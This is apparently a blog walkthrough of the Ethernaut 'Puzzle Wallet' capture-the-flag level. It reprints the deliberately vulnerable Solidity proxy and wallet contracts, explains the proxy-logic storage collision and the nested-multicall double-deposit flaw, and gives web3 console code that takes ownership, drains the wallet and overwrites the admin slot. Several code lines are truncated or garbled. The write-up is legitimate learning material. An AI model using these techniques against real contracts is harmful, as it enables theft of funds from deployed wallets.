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Erhan Tezcan
Erhan Tezcan

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Ethernaut: 24. Puzzle Wallet

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
  address public pendingAdmin;
  address public admin;

  constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
    admin = _admin;

  modifier onlyAdmin {
    require(msg.sender == admin, "Caller is not the admin");

  function proposeNewAdmin(address _newAdmin) external {
    pendingAdmin = _newAdmin;

  function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
    require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
    admin = pendingAdmin;

  function upgradeTo(address _newImplementation) external onlyAdmin {

contract PuzzleWallet {
  using SafeMath for uint256;
  address public owner;
  uint256 public maxBalance;
  mapping(address => bool) public whitelisted;
  mapping(address => uint256) public balances;

  function init(uint256 _maxBalance) public {
    require(maxBalance == 0, "Already initialized");
    maxBalance = _maxBalance;
    owner = msg.sender;

  modifier onlyWhitelisted {
    require(whitelisted[msg.sender], "Not whitelisted");

  function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;

  function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;

  function deposit() external payable onlyWhitelisted {
    require(address(this).balance <= maxBalance, "Max balance reached");
    balances[msg.sender] = balances[msg.sender].add(msg.value);

  function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
    require(balances[msg.sender] >= value, "Insufficient balance");
    balances[msg.sender] = balances[msg.sender].sub(value);
    (bool success, ) ={ value: value }(data);
    require(success, "Execution failed");

  function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
      bytes memory _data = data[i];
      bytes4 selector;
      assembly {
        selector := mload(add(_data, 32))
      if (selector == this.deposit.selector) {
        require(!depositCalled, "Deposit can only be called once");
        // Protect against reusing msg.value
        depositCalled = true;
      (bool success, ) = address(this).delegatecall(data[i]);
      require(success, "Error while delegating call");
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We have an Upgradable Proxy implementation in use here. Proxies are a sort of middleman between some logic and your main contract, such that instead of writing that logic in the main contract and thus not being able to upgrade it, you write it in some other contract and make the proxy point there. This way, if that logic needs an update you create a new contract and point the proxy there. delegatecall is used to implement this, but you should know by now that life is not easy when you use delegatecall without care!

Storage Collision

The first thing we may notice is that there is a storage collision between proxy and logic.

slot proxy logic
0 pendingAdmin owner
1 admin maxBalance
2 whitelisted (map)
3 balances (map)

With this exploit in mind, let us see our options:

  • If the logic writes to maxBalance, it will overwrite admin in the proxy. That seems to be a good attack vector to win the game.

  • To update maxBalance, the wallet balance must be 0 and msg.sender must be whitelisted.

  • For wallet balance to be 0, we need to drain it somehow.

  • To be whitelisted, addToWhitelist must be called by the owner.

  • But hey, owner collided with pendingAdmin in the proxy, and we can very well overwrite it via proposeAdmin! We can add ourselves to the whitelist after becoming the owner.

Draining the Wallet

The plan seems good so far, but one piece is missing: how do we drain the wallet? Assuming we are both the owner and whitelisted, let's see what we have:

  • deposit function allows you to deposit, with respect to not exceeding maxBalance.
  • execute function allows you to call a function on any address with some value that is within your balance. Without any call data and your address as the destination, this acts like a withdraw function.
  • multicall function allows you to make multiple calls of the above two, in a single transaction. This function is basically the main idea of the entire contract.

The multicall function supposedly checks for double spending on deposit via a boolean flag; however, this flag works only for one multicall! If you were to call multicall within a multicall, you can bypass it. Since delegatecall forwards msg.value too, you can put more money than you have to your balance.


First things first, let's become the owner and whitelist ourselves. Within the console, we are only exposed to the logic contract (PuzzleWallet) via contract object, but everything goes through proxy first. We can call the functions there by manually giving the calldata.

const functionSelector = '0xa6376746'; // proposeNewAdmin(address)
await web3.eth.sendTransaction({
  from: player,
  to: contract.address,
  data: web3.utils.encodePacked(functionSelector, web3.utils.padLeft(player, 64))
// confirm that it worked
if (player == (await contract.owner())) {
  // whitelist ourselves
  await contract.addToWhitelist(player)
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The next step is to drain the contract balance. When we check the total balance via await getBalance(contract.address) we get 0.001. So if we somehow deposit 0.001 twice with double-spending, the contract will think total balance to be 0.003 but actually it will be 0.002. Then we can withdraw our balance alone and the contract balance will be drained.

Here is a schema on how we will arrange the multicalls:

// let 'b' denote balance of contract
// call with {value: b}
    deposit() // double spending!
  execute(player, 2 * b, []) // drain contract
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Writing the actual code for this schema:

// contract balance
const _b = web3.utils.toWei(await getBalance(contract.address))
// 2 times contract balance
const _2b = web3.utils.toBN(_b).add(web3.utils.toBN(_b))
await contract.multicall([
  // first deposit
  (await contract.methods["deposit()"].request()).data,
  // multicall for the second deposit
  (await contract.methods["multicall(bytes[])"].request([
    // second deposit
    (await contract.methods["deposit()"].request()).data
  // withdraw via execute
  (await contract.methods["execute(address,uint256,bytes)"].request(player, _2b, [])).data
{value: _b})
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Thanks to the multicall, the attack will be executed in a single transaction too :) Afterwards, we can confirm via await getBalance(contract.address) that the balance of the contract is now 0.

We are ready for the next step, which is to call setMaxBalance. Whatever value we send here will overwrite the admin value, so we just convert our address to an uint256 and call this function:

await contract.setMaxBalance(web3.utils.hexToNumberString(player))
// see that admin value is overwritten
await web3.eth.getStorageAt(contract.address, 1)
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That is all!

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